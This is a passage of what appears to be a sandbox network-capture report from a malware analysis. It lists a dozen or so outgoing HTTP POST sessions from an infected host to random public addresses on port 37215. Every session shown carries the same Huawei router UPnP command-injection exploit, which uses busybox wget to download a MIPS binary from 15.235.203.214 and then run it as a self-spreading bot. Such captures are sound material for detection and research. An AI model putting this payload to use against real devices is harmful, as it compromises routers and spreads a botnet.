2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	58296	197.9.119.173	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022402048 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	41912	196.108.28.41	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022586107 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	52932	197.185.241.200	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022603035 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	44874	116.156.175.81	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022603035 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	34624	41.88.134.99	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022603035 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	35422	157.106.231.112	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022605896 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	55064	197.145.164.25	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022666931 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	42216	197.73.217.175	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022701025 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	35044	197.35.252.89	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022701025 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	52206	157.132.248.230	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022703886 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	51088	41.109.79.201	37215

Timestamp	Bytes transferred	Direction	Data
